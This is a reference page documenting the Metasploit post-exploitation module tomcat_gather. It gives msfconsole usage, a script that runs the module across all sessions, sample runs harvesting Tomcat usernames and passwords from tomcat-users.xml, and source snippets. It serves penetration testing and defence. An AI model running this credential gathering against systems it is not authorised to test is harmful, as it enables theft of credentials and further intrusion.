Gather Tomcat Credentials - Metasploit


This page contains detailed information about how to use the post/multi/gather/tomcat_gather metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Gather Tomcat Credentials
Module: post/multi/gather/tomcat_gather
Source code: modules/post/multi/gather/tomcat_gather.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will attempt to collect credentials from Tomcat services running on the machine.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/tomcat_gather

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/tomcat_gather
msf post(tomcat_gather) > show options
    ... show and set options ...
msf post(tomcat_gather) > set SESSION session-id
msf post(tomcat_gather) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/tomcat_gather")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Creating A Testing Environment


For this module to work you need a linux or windows machine.

  • For linux you can run something like apt-get install tomcat7 to get a working tomcat service.
  • For WIndows you can download tomcat from http://tomcat.apache.org/ and then install it as a service.

This module has been tested against:

  1. Xubuntu and Ubuntu Server 16.04 with tomcat 7, 8.
  2. Windows 10 with tomcat 6, 7.
  3. Windows XP with tomcat 5.5, 6, 7, 8

This module was not tested against, but may work against:

  1. Other versions of linux running tomcat v4-9
  2. Other version of windows running tomcat v4-9

Verification Steps


  1. Start msfconsole
  2. Obatin a meterpreter session via whatever method
  3. Do: use post/multi/gather/tomcat_gather
  4. Do: set session #
  5. Do: run

Scenarios


Xubuntu 16.04 with tomcat 7 and 8

Running without read permissions


msf post(tomcat_gather) > set session 1
session => 1
msf post(tomcat_gather) > run

[*] [2017.03.31-10:19:27] Unix OS detected
[*] [2017.03.31-10:19:28] /etc/tomcat7/tomcat-users.xml found
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/tomcat-users.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
[*] [2017.03.31-10:19:28] /etc/tomcat8/tomcat-users.xml found
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/tomcat-users.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
[*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/server.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/server.xml you probably don't have permission to open the file or parsing failed
[*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/server.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/server.xml you probably don't have permission to open the file or parsing failed
[*] [2017.03.31-10:19:28] No user credentials have been found
[*] Post module execution completed

Running with read permissions


msf post(tomcat_gather) > set session 2
session => 2
msf post(tomcat_gather) > run

[*] [2017.03.31-10:33:14] Unix OS detected
[*] [2017.03.31-10:33:15] /etc/tomcat7/tomcat-users.xml found
[*] [2017.03.31-10:33:15] /etc/tomcat8/tomcat-users.xml found
[*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
[*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
[+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat7/tomcat-users.xml - tomcat2:s3cret
[+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat8/tomcat-users.xml - tomcat2:s3cret
[*] Post module execution completed

msf post(tomcat_gather) > creds
Credentials
===========

host        origin      service            public   private  realm  private_type
----        ------      -------            ------   -------  -----  ------------
10.10.10.6  10.10.10.6  8080/tcp (Tomcat)  tomcat2  s3cret          Password

Windows 10 with tomcat 7

Running with read permissions


msf post(tomcat_gather) > run

[*] [2017.03.31-10:43:18] Windows OS detected, enumerating services
[+] [2017.03.31-10:43:18] Tomcat service found
[*] [2017.03.31-10:43:18] C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml found!
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - tomcat:tomcat
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - both:
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - role1:
[*] Post module execution completed

msf post(tomcat_gather) > creds
Credentials
===========

host        origin      service            public   private            realm  private_type
----        ------      -------            ------   -------            -----  ------------
10.10.10.6  10.10.10.6  8080/tcp (Tomcat)  tomcat2  s3cret                    Password
10.10.10.7  10.10.10.7  8080/tcp (Tomcat)  tomcat   tomcat                    Password
10.10.10.7  10.10.10.7  8080/tcp (Tomcat)  both              Password
10.10.10.7  10.10.10.7  8080/tcp (Tomcat)  role1             Password

Go back to menu.

Msfconsole Usage


Here is how the multi/gather/tomcat_gather post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/tomcat_gather

msf6 post(multi/gather/tomcat_gather) > show info

       Name: Gather Tomcat Credentials
     Module: post/multi/gather/tomcat_gather
   Platform: Windows, Linux
       Arch: 
       Rank: Normal

Provided by:
  Koen Riepe <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will attempt to collect credentials from Tomcat services 
  running on the machine.

Module Options


This is a complete list of options available in the multi/gather/tomcat_gather post exploitation module:

msf6 post(multi/gather/tomcat_gather) > show options

Module options (post/multi/gather/tomcat_gather):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the multi/gather/tomcat_gather post exploitation module:

msf6 post(multi/gather/tomcat_gather) > show advanced

Module advanced options (post/multi/gather/tomcat_gather):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/gather/tomcat_gather module can do:

msf6 post(multi/gather/tomcat_gather) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/gather/tomcat_gather post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/tomcat_gather) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Port not an Integer, defaulting to port <PORT> for creds database


Here is a relevant code snippet related to the "Port not an Integer, defaulting to port <PORT> for creds database" error message:

43:	
44:	      credential_core = create_credential(credential_data)
45:	
46:	      if not port.is_a? Integer
47:	        port = 8080
48:	        print_status("Port not an Integer, defaulting to port #{port} for creds database")
49:	      end
50:	
51:	      login_data = {
52:	            core: credential_core,
53:	            status: Metasploit::Model::Login::Status::UNTRIED,

No Tomcat home can be determined


Here is a relevant code snippet related to the "No Tomcat home can be determined" error message:

114:	            comment_block = false
115:	          end
116:	        end
117:	      end
118:	    else
119:	      print_status('No Tomcat home can be determined')
120:	    end
121:	  end
122:	
123:	  def gathernix
124:	    print_status('Unix OS detected')

Cannot open <PATH> you probably don't have permission to open the file or parsing failed


Here is a relevant code snippet related to the "Cannot open <PATH> you probably don't have permission to open the file or parsing failed" error message:

140:	              elsif line.include? ("-->") and comment_block
141:	                comment_block = false
142:	              end
143:	            end
144:	          rescue
145:	            print_error("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
146:	          end
147:	        end
148:	      end
149:	    else
150:	      print_status('No tomcat installation has been detected')

No tomcat installation has been detected


Here is a relevant code snippet related to the "No tomcat installation has been detected" error message:

145:	            print_error("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
146:	          end
147:	        end
148:	      end
149:	    else
150:	      print_status('No tomcat installation has been detected')
151:	    end
152:	
153:	    port_path = cmd_exec('locate server.xml').split("\n")
154:	    if port_path.size > 0
155:	      port_path.each do |path|

Cannot open <PATH> you probably don't have permission to open the file or parsing failed


Here is a relevant code snippet related to the "Cannot open <PATH> you probably don't have permission to open the file or parsing failed" error message:

170:	              elsif line.include? ("-->") and comment_block
171:	                comment_block = false
172:	              end
173:	            end
174:	          rescue
175:	            print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
176:	          end
177:	        end
178:	      end
179:	    else
180:	      print_status('Failed to detect tomcat service port')

Failed to detect tomcat service port


Here is a relevant code snippet related to the "Failed to detect tomcat service port" error message:

175:	            print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
176:	          end
177:	        end
178:	      end
179:	    else
180:	      print_status('Failed to detect tomcat service port')
181:	    end
182:	  end
183:	
184:	  def run
185:	    if sysinfo

Incompatible session type, sysinfo is not available.


Here is a relevant code snippet related to the "Incompatible session type, sysinfo is not available." error message:

187:	        gatherwin
188:	      else
189:	        gathernix
190:	      end
191:	    else
192:	      print_error('Incompatible session type, sysinfo is not available.')
193:	    end
194:	
195:	    if $username.size == 0
196:	      print_status("No user credentials have been found")
197:	    end

No user credentials have been found


Here is a relevant code snippet related to the "No user credentials have been found" error message:

191:	    else
192:	      print_error('Incompatible session type, sysinfo is not available.')
193:	    end
194:	
195:	    if $username.size == 0
196:	      print_status("No user credentials have been found")
197:	    end
198:	
199:	    i=0
200:	    while i < $username.count
201:	      print_good("Username and password found in #{$paths[i]} - #{$username[i]}:#{$password[i]}")

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.